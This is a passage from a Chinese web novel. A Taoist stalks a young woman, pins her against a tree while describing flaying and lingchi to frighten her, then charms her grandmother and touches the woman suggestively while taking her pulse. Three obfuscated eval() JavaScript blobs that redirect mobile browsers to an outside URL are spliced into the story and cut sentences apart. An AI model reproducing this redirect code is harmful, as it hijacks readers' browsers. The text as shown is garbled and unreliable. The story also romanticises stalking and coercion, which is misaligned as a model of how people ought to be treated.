贺佑宁背靠着粗糙的树干,指尖几乎要抠进树皮里,才能勉强支撑住有些发软的身体。 她看着几步之外那个长身玉立、神色疏淡的男人,只觉得一股寒意从脚底直冲天灵盖,远比方才迷路时的恐惧更甚。 这是一股被某种超出理解范围的执念所笼罩的惊骇。 “你……”她的声音干涩得厉害,“你一直在跟着我?从我离开京城开始?” 李清述的目光沉静地落在她脸上,没有承认,也没有否认,但那眼神里的意味,已然是默认。他往前踏了一小步,拉近了距离,声音比刚才更清晰,也更低沉:“是。” “这位道长……”她深吸一口气,努力让自己的声音听起来镇定,尽管尾音依旧带着微不可察的颤抖,“你究竟意欲何为?” “意欲何为?”李清述重复了一遍她的话,微微偏了偏头,似乎觉得这个问题有些有趣。他再次上前一步,两人之间的距离已不足三尺,贺佑宁甚至能感受到他身上散发出的、与山林气息迥异的清冽气息。“我以为,贺姑娘应当明白。” 明白?明白什么?明白他那些暧昧不明的话语?明白他步步紧逼的姿态?还是明白他此刻这令人毛骨悚然的“跟随”? 贺佑宁被他逼得退无可退,背脊紧紧贴在树干上,倔强地抬起眼与他对视:“我不明白!” “不明白?”李清述微微偏头,语气带上了一丝诡谲的柔和,“那我给你好好讲解一番。” “不需要!”在这种压力之下,贺佑宁开始有些口不择言,“在你眼里,我就是一个可以任由你戏弄、看你心情摆布的玩物,你觉得有趣的乐子而已!” 李清述的眸光骤然一沉,那潭深水仿佛被投入了巨石,瞬间起了波澜。他周身那股疏淡平静的气息倏然收敛,取而代之的是一种沉甸甸的、极具压迫感的锐利。 “玩物?乐子?”他声音压得极低,带着一种山雨欲来的冷冽。 贺佑宁被他陡然变化的气势所慑,心头一悸,但话已出口,她也不愿退缩,咬着唇别开脸。 李清述的唇边忽然勾起一抹毫无温度的笑意。那笑意让他本就出色的容颜染上了一层妖异般的冷冽光华。他缓缓上前一步,几乎将贺佑宁完全笼罩在自己的阴影之下,声音压得低而清晰,如同毒蛇吐信:“你似乎对我有些误解。” 他的目光如同冰冷的刀锋,一寸寸刮过她煞白的脸,“若你真是我眼中的‘玩物’或‘乐子’……” 他顿了顿,语气陡然转冷,带着一种漫不经心却残酷至极的漠然:“那你此刻,绝不会完好无损地站在这里。” 贺佑宁被他话语中毫不掩饰的冰冷煞气骇得浑身一僵。 李清述却像是打开了某个危险的匣子,语调平稳,甚至带着点叙述轶事般的平淡,开始娓娓道来:“真正的玩物,是用来取乐的。而取乐的方式,有很多种。” 他目光锁着她骤然紧缩的瞳孔,声音不疾不徐,“比如,剥皮。需用滚水浇透,再以巧劲整张剥离,过程需得精细,方得一张完整人皮,可制灯罩,或做屏风。” 贺佑宁倒抽一口凉气,脸色惨白如纸,手指死死抠住身后的树皮。 “又比如,凌迟。也叫千刀万剐。”李清述仿佛没看到她惊恐的表情,继续用那种平静得可怕的语调说道,“手艺好的刽子手,能割上三千六百刀,犯人气息犹存。每一刀薄如蝉翼,痛入骨髓,却又一时死不了,只能眼睁睁看着自己的血肉一点点离体。” “还有炮烙,铜柱烧红,将人绑于其上,皮焦肉烂,滋滋作响,异香扑鼻。”他微微眯起眼,似乎在回忆什么,“或是梳洗,以铁刷反复刷去皮肉,直至露出森森白骨……” “别说了!”贺佑宁猛地捂住耳朵,浑身剧烈地颤抖起来,眼中充满了前所未有的恐惧和抗拒。这些血腥残忍的词汇从他口中吐出,配合着他那平静无波的神情和俊美近妖的面容,形成一种极其诡异恐怖的冲击,几乎击溃她的心神。 李清述停了下来,看着她摇摇欲坠、几乎要瘫软下去的模样,眼底那抹幽暗的火焰跳动了一下。他伸出手,似乎想去扶她,但贺佑宁如同受惊的兔子般猛地向后缩去,背脊重重撞在树干上,发出沉闷的声响。 他的手在空中停顿了一瞬,紧接着继续向前。 贺佑宁惊恐地看着那只骨节分明、修长有力的手朝自己伸来,本能地想躲,后背却已抵死粗糙的树干,退无可退。那只手并未落在她肩上或臂上,而是带着一种不容抗拒的力道,穿过她因惊惧而僵硬的手臂,揽住了她纤细的腰肢,另一只手则稳稳按住了她试图推拒的肩膀。 一股清冽却极具侵略性的气息瞬间将她笼罩。她被他牢牢禁锢在树干与他胸膛之间那方寸之地,动弹不得。 “放开我!”她声音带着哭腔,拼命挣扎,拳头徒劳地捶打在他坚实的手臂和胸膛上,如同蚍蜉撼树。 李清述却仿若未觉,手臂收得更紧,将她颤抖的身体完全纳入怀中。他微微低下头,温热的气息拂过她的耳廓,声音低沉喑哑,带着一种奇近乎诱哄的语调,与她方才听闻的那些血腥言辞形成诡异而骇人的对比。 “乖乖别怕。”他唤了一个从未有过的亲昵称呼,尾音缠绵,却让贺佑宁浑身汗毛倒竖。 李清述凝视着她眼中清晰的恐惧,那恐惧如同冰锥,刺痛了他眼底深处某些晦暗的东西。他抬起那只按住她肩膀的手,用指腹极其轻柔地、一点点拭去她脸颊上滚烫的泪水,动作极为温柔。 “你在害怕什么呢?” “那些手段……”他缓缓开口,声音压得极低,却字字清晰地敲进她混乱惊惶的心底,气息拂过她的脸颊,带着不容错辨的郑重与一种近乎誓言般的沉重。 “我无论如何都不会用在你身上。” “永远都不会。” 贺佑宁呆住了。所有的挣扎、恐惧、泪水,似乎都在他这突如其来的、极致温柔又极致恐怖的宣言中凝固。 她的大脑此刻一片空白。 他顿了顿,指腹停留在她湿漉漉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155032|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼角,目光深邃如渊,锁住她失神的瞳孔。 他微微松开了些许力道,却没有完全放开她,只是将两人之间的距离拉开了一寸,足以让他看清她脸上每一丝细微的表情。那双盛满惊惧泪水、此刻却有些茫然空洞的眸子,沾湿的睫毛如同被雨水打湿的蝶翼,脆弱地轻颤着。 李清述的指尖顺着她眼角的泪痕,轻轻滑到了她的睫毛上。极其轻柔地,带着一种近乎探究的意味,他拨动了一下那微微卷翘的濡湿睫羽。 这个动作太过亲昵,也太过突兀,与他方才冷酷的言辞和此刻凝滞的气氛格格不入。 贺佑宁被他这突如其来的动作惊得睫羽又是一颤,下意识地想偏头躲开,却被他另一只手稳稳托住了脸颊。 “这是第一次看见你哭呢。”李清述的声音低低响起,带着一种近乎喟叹的奇异意味,目光紧紧锁着她湿润的眼。 这话说得平淡,却像一把奇特的钥匙,瞬间撬开了贺佑宁被恐惧和混乱冰封的感官。恐惧的余韵还在,但一种更为汹涌难以言喻的荒谬感,如同火山喷发般猛地冲了上来。 第一次看见她哭? 他把她吓得魂飞魄散,用那些骇人听闻的酷刑言语将她逼至崩溃边缘,让她惊惧交加……然后他现在是在感慨这个“第一次”? 贺佑宁瞪大眼睛,看着眼前这张俊美绝伦,此刻却只想令她撕碎的脸,胸口剧烈起伏,一股郁气堵在喉头。 她张了张嘴,想骂他有病,想骂他疯子,想让他快点去看大夫……可所有激烈的话语在接触到他那双深不见底、仿佛没有任何情绪波动的眸子时,都化作了一种深至彻骨的无语…… 跟这种人讲道理是没用的,斥责是徒劳的,就连愤怒都仿佛打在了空处。他有一套常人完全无法理解的扭曲逻辑和行事准则。 就在贺佑宁处于憋闷之中、几乎快要被气笑时,远处隐隐约约传来了呼唤声,打破了林间这令人窒息的凝滞。 “宁姐姐——!” “贺姑娘——!你在哪儿?!” “表姐——!听到应一声!” 声音由远及近,带着明显的焦虑和急切,是小表妹他们和婆子们。 这呼唤声如同救命稻草,瞬间将贺佑宁从与李清述那诡异对峙的泥沼中拉了出来。她浑身一激灵,猛地用力,终于挣脱了他那并未十分用力的钳制,踉跄着后退了两步,微微喘着气,望向声音传来的方向,眼中重新燃起了希望和急切。 李清述也听到了呼唤声。 他并未阻止她的挣脱,只是站在原地,目光从她仓皇回望的脸上,移向声音传来的林隙。他脸上那丝极淡的情绪消失了,重新恢复了惯常的疏淡平静,仿佛刚才那个拨动她睫毛、说出奇怪话语的人只是幻觉。 “他们来找你了。”他语气平淡地陈述。 贺佑宁没有回头看他,只是急切地朝着呼唤声传来的方向走去。不知为何,在途中,她鬼使神差地回头看了一眼。 只见男人的身形如同鬼魅般向后飘退,瞬息之间,便融入了身后光线难以穿透的密林阴影之中,消失不见。 仿佛他从未出现过,只余空气中一丝属于他的极淡气息。 20. 登堂入室 清晨日光和煦,驱散了山林间最后一丝夜露的凉意。 这几天,贺佑宁刻意不去回想男人那些骇人言语和诡异行径,只将那段遭遇当作一场荒诞离奇的噩梦。她想用宁静的日常慢慢将其覆盖。 梳洗停当后,换了一身家常的藕粉色襦裙,未施粉黛,只用一支玉簪将墨发绾起,然后信步走向用膳食的花厅。 还未进门,便听得里面传来外祖母慈和含笑的话语,间或夹杂着一道低沉平稳,熟悉得让她心头骤然一紧的男声。 她的脚步猛地顿在门槛外,几乎疑心自己听错了。 “……道长云游四海,见识广博,老身听闻这些山川风物、奇闻异事,实在是心生向往。可惜老身已年近古稀,腿脚不灵活喽。”外祖母的声音带着真诚的赞叹。 “老夫人过誉了。山川虽美,不过是天地一隅。人心温厚,方是世间至景。能在此岁此地安康荣养,已是不可多得。”那男声回应得不疾不徐,语调平和,甚至带着一丝恰到好处的谦逊。 是他! 贺佑宁浑身的血液仿佛瞬间冲上头顶,指尖好像在逐渐失去温度。他怎么会在这里?还和外祖母相谈甚欢? 她僵立在门口,进也不是,退也不是。里面交谈的声音却停了下来,似乎察觉到了她的到来。 “谁?站在门口做什么,快进来。”老夫人温和地唤道。 贺佑宁深吸一口气,强迫自己镇定下来,抬步迈进了花厅。目光首先落在坐在外祖母下首的那个人身上。 他今日穿着一身雪白色长袍,宽袍大袖,衣袂飘飘,更衬得他身姿挺拔,气质清冷疏淡。 端坐在那里,手持一盏清茶,姿态闲雅,眉目平和,与那日在山林中言辞冷酷、行径莫测的模样判若两人。 一派仙风道骨,仿若世外高人。 见到贺佑宁进来,他抬起眼,目光平静地落在她脸上,微微颔首,算是致意, 神色间看不出丝毫异样,仿佛两人只是初次见面的陌生人。 贺佑宁心头那股荒谬感更甚。 “原来是岁岁啊,快来见过玄明道长。”老夫人笑着招手,语气里带着明显的敬重,“玄明道长是云游至此的得道高人,昨日在庄外遇见,相谈甚为投缘。道长学识渊博,见解独到,对我们这山野之地也颇多赞誉。今日特意请道长来品品茶,你也来听听,长长见识。” 云游至此?得道高人?相谈甚欢? 贺佑宁听着外祖母这全然不知情的介绍,看着男人那副道貌岸然、坦然受之的模样,只觉得一股郁气堵在胸口,上不去也下不来。他不仅跟到了庄园,还不知用了什么手段,竟能登堂入室,甚至赢得了外祖母的尊敬和好感! 她站在原地没有动,只是盯着李清述,眼神复杂。 老夫人见她不动,以为她是害羞或拘谨,又笑着催促:“这孩子,平日挺大方的,今日怎么愣住了?快过来,给玄明道长见礼。” 贺佑宁咬了咬下唇,在外祖母慈爱却不容置疑的目光下,只得缓缓上前,对着李清述的方向,动作极其敷衍细微地福了福身,声音干巴巴地挤出一句:“见过……玄明道长。” 李清述放下茶盏,起身还了一礼,动作流畅自然,语气温和有礼:“贺姑娘有礼。昨日听老夫人提及,府上有一位才貌双全的外孙女在此休养,今日一见,果然名不虚传,气度静雅。” 他这番话客套周全,挑不出半点错处,甚至带着长辈对晚辈的赞许。 可听在贺佑宁耳中,却只觉得字字句句都透着虚伪和令人齿冷的算计。 她抬起眸,悄悄瞪了他一眼。 李清述迎着她几乎要喷火的目光,神色却依旧平和无波,甚至还对她微微弯了弯唇角。 那弧度极小,转瞬即逝,却带着一丝只有她能看懂的挑衅与从容。 老夫人并未察觉两人之间暗涌的波涛,只当是年轻人初次见面的生疏,笑着道:“好了好了,都别站着了,快坐下说话。” 贺佑宁只得在老夫人下首坐下。 李清述端起茶杯,浅浅啜饮,姿态从容。他不再多看她,转而继续与老夫人交谈,话题从养生延年,渐渐转向了一些星象命理、因果缘分之说。 他言辞玄妙,却又总能引经据典,说得头头是道,连贺佑宁在一旁听着,若非深知其底细,恐怕也会被唬住几分。 老夫人听得连连点头,显然对这位“玄明道长”愈发信服。 看着李清述那副侃侃而谈、超然物外的模样,贺佑宁如坐针毡,只觉得这满室茶香都变得令人窒息。 他到底想干什么?费尽心机接近外祖母,伪装成得道高人,下一步呢? 他出现在这里,绝对不仅仅是“云游至此”这么简单。这层层伪装之下,究竟隐藏着怎样的目的?是针对她?还是针对贺家?亦或是……别的什么? 她悄悄抬眼,再次看向李清述。 他正微微侧身,专注地听着外祖母说话,晨光勾勒出他俊美的侧脸轮廓和那身月白道袍流畅的线条,当真是一派光风霁月,世外仙姿。 可贺佑宁知道,这仙姿道骨之下,是深不见底的寒潭,是随时可能将人吞噬的漩涡。 就在老夫人又一次感叹“道长真乃方外妙人,见识非凡”时,李清述微微欠身,神色愈发谦和:“老夫人谬赞,贫道不过略知皮毛,承蒙老夫人不弃,听我在此胡言乱语。” 他顿了顿,目光似有意似无意地扫过一直垂眸静坐、仿佛局外人的贺佑宁,语气仍然平稳,“昨日听闻贺姑娘前番受惊,正在庄上将养,贫道心中倒是想起一物。” 说着,他广袖微拂,从袖中取出一物,并非金银珠玉。而是一个用靛蓝色粗棉布仔细包裹、方方正正的小包。约有孩童掌心大小,边缘整齐,棱角分明。 “此乃贫道早年云游蜀中时,偶得的一小块‘福石’原胚。”李清述双手将布包呈向老夫人,声音温润,“此石质地温润,触手生温,更兼其天然纹路,隐约暗合‘福’字云纹,在当地被视为有纳福、镇惊、安神之效的吉物。贫道得之多年,未曾雕琢,保持其天然本真之态。” 他抬眼,目光终于坦然地落在贺佑宁身上,带着一种长辈般的关切与平和:“贺姑娘受惊体弱,正需静心安神。此石虽陋,却取其天然‘福’意,愿它能伴在姑娘身侧,略挡烦扰,聊寄平安之念。也算是贫道借花献佛,为这相遇之缘,结一份善果,送一份‘福’气。” 一番话说得滴水不漏,既解释了宝物来历,点明了其吉兆,阐述了效用,又将赠送缘由归于关心晚辈和结缘行善,完全符合他此刻“有道高人”的身份和做派。 甚至连那粗糙的靛蓝布包,都透着一种返璞归真、不慕奢华的超然。 老夫人闻言,脸上笑容更盛,眼角的皱纹都舒展开来,连连摆手:“哎呀,道长这真是太客气了!如此珍贵的吉物,又是道长珍藏,老身和岁岁如何受得起?” “老夫人言重了。”李清述态度恳切,“宝物当赠有缘人。此石在贫道手中,不过是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155033|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一块顽石。若能对贺姑娘有所裨益,便是物尽其用,福有所归。还请老夫人与贺姑娘万勿推辞。” 他言辞真挚,姿态谦逊,又将“福缘”、“善果”挂在嘴边,老夫人本就对他印象极佳,此刻更觉其品性高洁,赠宝之举乃是真心关怀。 她不好再坚决推拒,便笑着接过那靛蓝布包,入手果然感觉布包中的物件微沉,触之温凉。 “岁岁,还不快谢谢道长?”老夫人转身,将布包递给贺佑宁,眼中满是慈爱与欣慰,“道长一番美意,这是真正的‘送福’上门了。你可得仔细收好,放在枕边或是随身带着,定能保佑你心神安宁,福气绵长。” 贺佑宁看着外祖母递过来的布包,那粗糙的靛蓝色仿佛带着李清述身上那股清冽又危险的气息,她一点也不想接。 什么“福石”?什么天然“福”纹?安神纳福?前几日才在山林里用酷刑吓唬她的人,现在送来“安神”之物?简直是天大的讽刺! 可外祖母殷切的目光,李清述那看似平和实则不容拒绝的姿态,都让她无法当众驳斥这荒谬的“赠福”。 她只得伸出手,指尖僵硬地接过那微沉的小包。布料的触感粗糙,里面的“石头”轮廓坚硬。她垂着眼,声音低得几乎听不见:“……多谢道长。” 李清述微微颔首,目光在她紧紧捏着布包的手上停留了一瞬,旋即移开,对着老夫人温言道:“贺姑娘收下,贫道便心安了。时辰不早,贫道便不再叨扰,就此告辞。” 老夫人见他坚持,贺佑宁也已收下,心中更是欢喜,只觉得这位李道长不仅学识过人,更兼心地仁厚,关爱晚辈。 她热情地挽留道:“道长且慢,今日既然来了,又赠予佑宁如此珍贵的吉物,老身若不尽地主之谊,实在过意不去。庄上虽无珍馐美馔,却也有些山野时蔬、自养的鸡鸭,还算清爽可口。道长若不嫌弃,不如留下共用一顿便饭,也让老身稍尽谢意。” 李清述闻言,并未立刻推辞,他略微沉吟,目光似有若无地掠过一旁垂首不语、却明显身体僵硬的贺佑宁,而后对着老夫人展颜一笑。那笑容冲淡了他眉宇间惯有的疏淡,显出几分温和的烟火气,更显得清远雅致,令人心生好感。 “老夫人盛情,却之不恭。”他欠身还礼,语气诚挚,“贫道云游四方,早已习惯粗茶淡饭。能得老夫人留饭,品尝庄上风味,实乃幸事,岂有嫌弃之理?只是怕过于叨扰。” “不叨扰,不叨扰!”老夫人见他答应,笑意更深,连忙吩咐下去,“快去厨房说一声,午膳准备得精细些,道长是贵客,不可怠慢。” 贺佑宁在一旁听着,只觉得心头那根弦绷得更紧了。 他答应了?他要留下来用午膳?这意味着她还要与他同处至少一个时辰……她几乎可以想象那顿饭会有多难熬! 李清述似乎察觉到了她瞬间的情绪波动,目光再次落到她身上,依旧是那副平和从容的模样,甚至还带着一丝关切:“贺姑娘脸色似乎仍有些苍白,可是尚未休息好?山中湿气重,还需仔细将养才是。” 老夫人闻言,也关切地看过来:“是啊,岁岁,要不你先回房再歇歇?午膳时再过来?” 贺佑宁此刻只想立刻逃离这个有他在的地方,外祖母的提议正中她下怀,她连忙顺势点头:“是有些乏力,那孙女先回房歇息片刻,午膳时再来陪外祖母。” “快去歇着吧,身子要紧。”老夫人慈爱地摆手。 贺佑宁如蒙大赦,便几乎是逃也似的离开了花厅。 21. 看病诊脉 直到回到自己房中,关上门,背靠着冰凉的门板,贺佑宁才长长地吁出一口气,只觉得后背竟已惊出了一层薄汗。 而她手里还攥着那个靛蓝布包。 贺佑宁盯着它看了半晌,才伸出手,慢慢解开系着的布绳。 粗布展开,里面露出的,果然是一块未经雕琢的石头。约有半个巴掌大小,形状不甚规则,表面却异常光滑温润,呈现出一种浅淡浓郁的乳白色,其间夹杂着些许暗红的天然纹路。 那些纹路蜿蜒交错,乍看之下杂乱无章,但若凝神细观,其中几道主要的红色纹路,竟真的隐约勾勒出一个类似古体“福”字的轮廓,虽不十分工整,却颇得天然意趣。 石头入手,果然如李清述所言,触之生温,质地细腻,绝非寻常山石。抛开赠予者不谈,这确实像是一件有些来历和寓意的天然奇石。 送福…… 这究竟是纯粹的祝福,还是更深层次的算计? 罢了,她从来都看不懂他。 贺佑宁思索无果后,将福石重新用粗布包好,将它锁进了床头一个带锁的小匣子里。仿佛这样,就能将它和那个赠予者莫测的意图,一并锁住。 平静的日子总是过得很迅速。 没过多久,丫鬟便奉外祖母的命来唤贺佑宁去前厅用午膳。 贺佑宁强打起精神,抬脚走向饭厅。 她知道,躲是躲不过的。至少,在外祖母面前,她不能露出任何破绽。 饭厅里,菜肴已经摆上,虽不如城中府邸精致,却胜在食材新鲜,烹制得法,色香味俱全,透着农家特有的丰盛与诚意。 老夫人坐在主位,李清述坐在她右手边尊客之位,而左下方的座位空着,显然是在等她。 贺佑宁走过去,在李清述对面坐下,垂着眼,避开他的视线。 “岁岁来了,快坐。”老夫人笑着示意开席,亲自为李清述布菜,“道长尝尝这山笋,是今早刚从后山挖的,最是鲜嫩。还有这鸡汤,用庄上散养的老母鸡炖了整整一个时辰,清淡滋补……” 李清述一一谢过,举止优雅,用餐礼仪无可挑剔,既不显得过分拘谨,又处处透着修养。他偶尔回应老夫人的话,话题也多围绕菜肴本身、庄园风物、养生之道展开,言辞得体,气氛融洽。 贺佑宁低着头,小口吃着面前的饭菜,味同嚼蜡。她能感觉到对面时不时投来的目光,那目光平静,却带着一种洞悉一切的穿透力,让她坐立难安。 她只能不断告诉自己,无视他,专注吃饭,吃完就好。 然而,就在饭局接近尾声,丫鬟奉上清口的茶水时,李清述放下筷子,用温热的巾帕拭了拭嘴角,忽然转向老夫人,语气自然地问道:“老夫人,贫道观贺姑娘气色,虽比晨间略好,但眉宇间仍有一丝郁结未散,怕是前番受惊,心神未安,影响了气血运行。不知庄上可备有安神的药材?或是否需要贫道开个简单的方子,配合那福石一同调理,或能见效更快些。” 他这话说得合情合理,完全是一副医者仁心、关心病患的模样。老夫人立刻被吸引了注意力,担忧地看向贺佑宁:“是啊,我瞧着也是,总没什么精神头。庄上药材倒是备了些常用的,道长若肯开方,那真是求之不得!” 贺佑宁心中一凛。 开方子?他要插手她的事情?这怎么行! 她连忙抬头,想要拒绝:“祖母,我……” “贺姑娘不必讳疾忌医。”李清述温和地打断她,目光平静地看过来,那眼神深处却带着不容置疑的笃定,“心神之疾,虽不似外伤显眼,却更需精心调养。贫道略通岐黄,开的不过是些宁神静气、辅助安眠的温和方子,配合天然福石之效,双管齐下,对姑娘康复必有裨益。难道贺姑娘……不信贫道?” 最后一句,他语气依旧平和,却隐隐带上了一丝探究,仿佛只是单纯疑惑她为何拒绝好意。 老夫人也道:“是啊岁岁,道长一番好意,也是为了你好。你就听道长的吧。” 贺佑宁看着外祖母信任的目光,又看向李清述那副无懈可击的关切模样,到了嘴边的拒绝话语,终究还是咽了回去。 她知道,此刻再坚持拒绝,不仅显得不识好歹,更可能引起外祖母的怀疑。 她只能捏紧手中的筷子,垂下眼帘,低声道:“……那便有劳道长了。” 李清述微微颔首,不再多言,转而与老夫人讨论起方子中可能用到的几味药材,庄园里是否齐全。 贺佑宁坐在那里,听着他们讨论“当归”、“茯神”、“合欢皮”这些药名,悄悄攥紧了指尖。 就在她以为这场关于她“汤药”的讨论即将告一段落时,李清述话锋微转,目光自然而然地落回她身上,带着一种医者审视病患的专注:“方才只是望其气色,若要开方精准,还需切脉,辨证施治。不知贺姑娘可否方便,容贫道一探脉象?” 把脉?! 贺佑宁猛地抬头,对上李清述那双看似平静无波、实则深邃难测的眼眸。 “不……”她几乎是下意识地就想拒绝。 “当然方便!”老夫人却已抢先开口,眼中满是信任与期待,“道长医术高明,若能亲自为岁岁诊脉,那更是再好不过了!岁,快,把手伸出来,让道长仔细瞧瞧。”她全然未觉贺佑宁的异样,只当她是怕生。 贺佑宁骑虎难下。 老夫人见她迟迟不动,又温和地催促了一声:“岁岁?” 贺佑宁终究极不情愿地将自己搁在膝上的右手,微微抬起,放到了桌沿。衣袖随着动作滑落一截,露出一截白皙纤细的手腕,在午后的光线下,近乎透明,能看见淡青色的血管。 李清述的目光随之落下,落在她指节绷紧的手腕上。他并未立刻动作,只是从袖中取出一方素白洁净的帕子,仔细垫在了桌沿贺佑宁手腕下方。然后,他才伸出自己的手。 他的手指修长,骨节分明,肤色是健康的润白,指甲修剪得整齐干净。当他冰凉的指尖,轻轻搭上贺佑宁腕间最细嫩的肌肤时,她控制不住地轻轻一颤,猛地就想缩回手,却被他用看似轻柔实则不容挣脱的力道,虚虚按住了手腕。 “贺姑娘,请放松。”他声音低沉平稳,带着安抚的意味,仿佛真的只是一位心无旁骛的医者。“脉象需静心凝神,方能探得真切。” 他的指尖微凉,起初只是虚虚贴着,随即稍稍用力,准确地按在了她的“寸关尺”三脉之上。 那触感清晰而稳定,带着一种不容置疑的掌控力。指尖下的肌肤敏感得能感受到他指腹细微的纹路,以及那透过肌肤传来的属于他的温度。 贺佑宁屏住了呼吸,全身的感官仿佛都集中在了那一点被触碰的肌肤上。 她能感觉到他指尖的力道,不轻不重,却仿佛想要透过她的血脉,探入她慌乱惊悸的内心深处。 他指尖偶尔极轻微地滑动、调整位置,每一次细微的移动,都让她心神一同跟随。 四周的空气仿佛都凝滞了,只剩下她如擂鼓般的心跳声,和他平稳得近乎可怕的呼吸声。 老夫人关切地在一旁看着,并未出声打扰。 时间在贺佑宁度秒如年的煎熬中缓缓流逝。李清述一直垂着眼帘,神色专注,仿佛真的在认真体察脉象。他的指尖始终稳稳地停留在她的腕间。 不知过了多久,也许只是片刻,也许漫长如一个世纪,李清述那专注于脉象的神情似乎有了一丝极细微的变化。他长长的睫毛微微动了一下,随即,就在贺佑宁以为他终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155034|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要结束这折磨人的触碰时,他按在她腕间的指尖,几不可察极其轻缓地……动了。 并非移开,而是以一种近乎狎昵的若有似无的力度,顺着她腕间最敏感细腻的那条肌肤纹路,极其缓慢地向上轻轻一滑勾。 那动作极快,轻如羽毛拂过,带着一丝难以言喻的撩拨意味,仿佛不经意,又仿佛蓄谋已久。指尖划过之处,带来一阵短暂却异常清晰,如同电流窜过般的酥麻战栗,瞬间从手腕直冲贺佑宁的心尖。 她猛地一颤,仿佛被火舌舔舐,被他按着手腕的那只手条件反射地就想挣脱,却依旧被他牢牢制住,动弹不得。她倏然抬眸,撞进李清述恰好抬起的视线里。 他眼底那片深潭般的平静依旧,仿佛刚才那一下轻佻的撩拨只是她的幻觉。可贺佑宁分明看到了,那平静之下,闪过一丝近乎玩味的幽光,快得让人抓不住,却真实地存在过。 然后,他才真正从容不迫地收回了手,指尖彻底离开了她的肌肤。 贺佑宁如蒙大赦,几乎虚脱般迅速将手收回,藏到了桌下,用另一只手紧紧握住,仿佛想要抹去那残留的触感和温度。 李清述用帕子拭了拭自己的指尖,动作优雅自然,然后才抬眼看向老夫人,语气恢复了惯常的平静:“老夫人放心,贺姑娘脉象虽有些虚浮惊悸之象,确是心神受扰、气血未平所致,但根基尚稳,并非大碍。方才贫道所提的方子,稍作调整,再辅以静养和那福石的安神之效,假以时日,定能康复。” 贺佑宁却一个字也听不进去了。她只觉得被他触碰过的那截手腕火烧火燎,那微凉指尖滑过肌肤的感觉,如同毒蛇冰冷的信子舔舐,带着一种令人毛骨悚然的亲昵与侵略性,久久不散。 他哪里是在把脉?分明是在用这种方式…… 贺佑宁抿了抿唇,不愿再往下想。 老夫人听得李清述的断言,心头大石彻底落下,笑容愈发真切,连声道:“有道长此言,老身便彻底放心了!岁岁这丫头,前番着实受了惊吓,如今有道长妙手回春,又赠予吉物,真是她的福气,也是我们家的福气!” 李清述谦逊地微微欠身:“老夫人言重了,济世助人,本是分内之事。”他顿了顿,目光似乎不经意地掠过依旧垂首不语的贺佑宁,见她脸色苍白,紧抿着唇,一副神思不属的模样,便温言道:“贺姑娘气色仍需静养,不宜久坐劳神。既然脉象已明,方子亦定,贫道便不多做叨扰了。” “道长这就要走?”老夫人闻言,脸上露出不舍,连忙起身,“今日蒙道长赠宝诊脉,老身感激不尽,本该再备些薄礼相谢,又怕扰了道长清修。不如再喝盏茶,用了点心再走?” “老夫人盛情,贫道心领。”李清述神色平和,语气却带着不容置喙的淡然,“出家人云游四方,随缘而往,不便久留。今日能与老夫人、贺姑娘结此善缘,已是幸事。来日方长,若有缘法,自当再会。” 他这番话说得圆融通透,既表明了去意,又留了余地。 老夫人知他心意已决,不便强留,只得惋惜地点头:“道长是高人,行事自有道理。老身不敢强留,只盼道长云游顺遂,日后若有闲暇,定要再来庄上做客,让老身略尽地主之谊。” “多谢老夫人美意,贫道记下了。”李清述拱手为礼,姿态从容。 “老身送送道长。”老夫人执意要送,又转头对贺佑宁道,“岁岁,你身子不适,就在此歇着,不必出来了。” 贺佑宁巴不得如此,闻言连忙低声应了:“是,祖母。”她始终未抬头。 老夫人这才满意,亲自引着李清述向厅外走去。两人边走边谈,多是老夫人再次表达感谢,并询问一些养生细节,李清述一一耐心解答,声音温和。 两人渐行渐远。 22. 缘法 老夫人让人按照李清述开的方子去抓了药,每日按时煎好了给贺佑宁送来。 那药汁黑褐,气味与之前大夫开的略有不同,带着一丝清苦的草木气息。贺佑宁起初抗拒,但在外祖母每日关切的注视下,不得不捏着鼻子喝下。不知是心理作用还是那药确有些效果,她夜间惊悸盗汗的情况似乎减轻了些,睡得更香了。 李清述没有再亲自登门,但老夫人却不时提起他。有时是感叹“玄明道长学识真是渊博,谈话时说起稻田驱虫的难处,道长随口便引出《齐民要术》中“以杆击叶,惊蛾令去”的古法,还解释了其中顺应天时的道理。” 有时是拿着李清述托庄户送来的,据说是偶然碰见采到的罕见草药,啧啧称奇。甚至有一次,老夫人还试着用李清述提到的某个养生法子泡茶,觉得颇有效用。 贺佑宁听着这些,心中那根弦越绷越紧。李清述虽人未至,影响力却无处不在。 他正以一种温水煮蛙的方式,慢慢渗透进这个原本与她最亲近也最该安全的环境里。 这日午后,贺佑宁在书房练字静心。 